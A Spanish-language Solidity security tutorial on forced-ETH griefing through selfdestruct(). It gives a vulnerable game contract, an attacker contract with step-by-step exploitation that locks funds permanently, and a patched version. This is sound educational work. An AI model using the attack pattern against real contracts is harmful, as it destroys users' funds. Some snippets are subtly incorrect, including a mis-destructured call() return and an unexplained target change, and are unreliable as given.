Solidity: Ataque Por Autodestrucción

Las transferencias y el envío de ETH también pueden ser perjudiciales para un contrato. Muchos ataques a contratos inteligentes no solo buscan robar fondos, también pueden buscar causar daño y que se pierdan millones en un proyecto.

Recepción de ETH

Los contratos inteligentes pueden recibir ETH a través de funciones especiales o hooks.

  • Fallback: La función fallback() se ejecuta por defecto cuando se hace un llamado a una función inexistente en un contrato. Puede ser sobreescrita y devolver un resultado o no.
  • Receive: La función receive() puede ser declarada para que el contrato ejecute determinada lógica al recibir ETH. Si esta no existe, se ejecutará en su lugar la función fallback.

Es una buena práctica definir el comportamiento de fallback(). No necesariamente debemos utilizar receive(), ya que la regla de negocio de nuestro contrato puede no necesitarlo. Son dos maneras de controlar lo que sucede en nuestro contrato al recibir ETH.

Autodestrucción de contratos

Una de las maneras de generar daño a un proyecto es enviando de forma forzosa ETH con la función selfdestruct(). La misma enviará todo el ETH que el contrato posea en ese momento, ignorando por completo la existencia de las funciones fallback() y receive() en el contrato receptor. Este contrato recibirá los ETH mientras que el contrato que ejecutó el selfdestruct() quedará inutilizado.

Es sabido que una de las particularidades de Blockchain es la inmutabilidad. Autodestruir un contrato implica, no cambiarle el comportamiento, pero si dejarlo inutilizable. Originalmente, se ideó la función selfdestruct() para casos de emergencia, pero no es aconsejable la utilización de esta función, ya que no está garantizado que libere correctamente todo el ETH y el contrato receptor los reciba.

¿Por qué es un problema el envío de ETH forzoso?

Se supone que un contrato está “regalando” su ETH a otro. Deberíamos estar felices por ese donativo, pero dependiendo la regla de negocio del contrato receptor, el mismo puede romperse y quedar inutilizable.

Veamos un ejemplo de cómo puede explotarse esta vulnerabilidad:

Explicación del contrato vulnerado

Comencemos entendiendo el funcionamiento del contrato principal que se trata de un simple juego que permite almacenar ETH y determinador un ganador al llegar a los X ETH.

NOTA: El ejemplo de esta vulnerabilidad fue tomado y adaptado originalmente de Solidity by examples.

  • El objetivo del juego es llegar a un depósito de 7 ETH.
  • Los depósitos solo pueden ser de 1 ETH a la vez.
  • El ganador será quien deposite el último ETH.
  • Los usuarios no saben cuánto ETH hay en el contrato en cada momento.
  • El objetivo del juego es que los usuarios adivinen cuándo se depositará el último ETH para quedarse con todos los fondos.

Contratos involucrados

Comenzamos analizando el contrato inteligente principal del juego:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherGame {
  uint public targetAmount = 7 ether;
  address public winner;

  function deposit() public payable {
    require(msg.value == 1 ether, "Solo puedes enviar 1 ETH a la vez.");

    // Verificamos si hemos llegado a los 7 ETH.
    uint balance = address(this).balance;
    require(balance <= targetAmount, "El juego se ha terminado.");

    // Si llegamos al objetivo, seteamos la dirección del ganador para que reclame su premio.
    if (balance == targetAmount) {
      winner = msg.sender;
    }
  }

  function claimReward() public {
    // Solo el ganador puede reclamar su premio.
    require(msg.sender == winner, "No eres el ganador.");

    (bool sent) = msg.sender.call{value: address(this).balance}("");
    require(sent, "El envío del ETH ha fallado.");
  }
}

Por otro lado, preparamos el contrato atacante:

contract Attack {
  EtherGame etherGame;

  constructor(EtherGame _etherGame) {
    // Creamos la instancia de EtherGame.
    etherGame = EtherGame(_etherGame);
  }

  function attack() public payable {
    // Convertimos la dirección de EtherGame en payable.
    address payable addr = payable(address(etherGame));

    // Enviando de forma forzosa ETH a EtherGame, puedes romper el juego al igualar o superar los 7 ETH.
    selfdestruct(addr);
  }
}

Procedimiento para vulnerar el contrato

  1. Desplegar el contrato EtherGame.
  2. Depositar 1 ETH con dos cuentas. Hasta este punto, el contrato tendría 2/7 ETH.
  3. Desplegar el contrato Attack que recibe en el constructor la dirección de EtherGame.
  4. Hacer el llamado a Attack.attack enviando a la vez 5 ETH.

¿Qué sucedió aquí?

  • Attack, al autodestruirse, provoca que de manera forzosa el contrato EtherGame llegue a 7 ETH. 2 ETH de sus usuarios más 5 del contrato atacante.
  • Nadie más puede depositar ETH y nunca habrá ganador. El ETH en el contrato se pierde para siempre.

¿Por qué sucedió?

Observa el contrato EtherGame, verás varios puntos donde utiliza address(this).balance que devuelve la cantidad total de ETH que el contrato posee. No discrimina que los ETH hayan sido depositados a través de la función deposit() o de manera forzosa.

Esto provoca que el balance total del contrato llegue o supere los 7 ETH. El juego se termina, ya que la validación require(balance <= targetAmount) no permitirá depositar más ETH y nunca se llegó a setear un ganador para que reclame el premio.

¿Cómo se puede evitar?

La solución es muy sencilla, no debemos utilizar address(this).balance en un require() porque no podemos controlar que todos los ETH hayan sido depositados de manera fiable. En su lugar, declarar una variable en el contrato uint public balance; para almacenar el balance del juego e incrementarlo con balance += msg.value; con cada depósito.

contract EtherGame {
  uint public balance;          // Variable para almacenar el balance del juego
  uint public targetAmount = 3 ether;
  address public winner;

  function deposit() public payable {
    require(msg.value == 1 ether, "Solo puedes enviar 1 ETH a la vez.");

    balance += msg.value;     // Incrementamos el balance del juego
    require(balance <= targetAmount, "El juego se ha terminado.");

    if (balance == targetAmount) {
      winner = msg.sender;
    }
  }

  function claimReward() public {
    require(msg.sender == winner, "No eres el ganador.");
    (bool sent) = msg.sender.call{value: balance}("");
    require(sent, "El envío del ETH ha fallado.");
  }
}

Conclusiones

Has visto como el envío de ETH puede ser un problema para un contrato inteligente. A veces los atacantes buscan hacer daño solo por maldad, perdiendo ellos también dinero. Ten en cuenta estos detalles de Solidity al desarrollar tus contratos y evitar bloqueos inesperados. No utilices address(this).balance en validaciones sensibles de balances y ten presente la existencia de selfdestruct() y de cómo puede utilizarse.


Post creado en colaboración con el Curso de Seguridad de Smart Contracts de Platzi.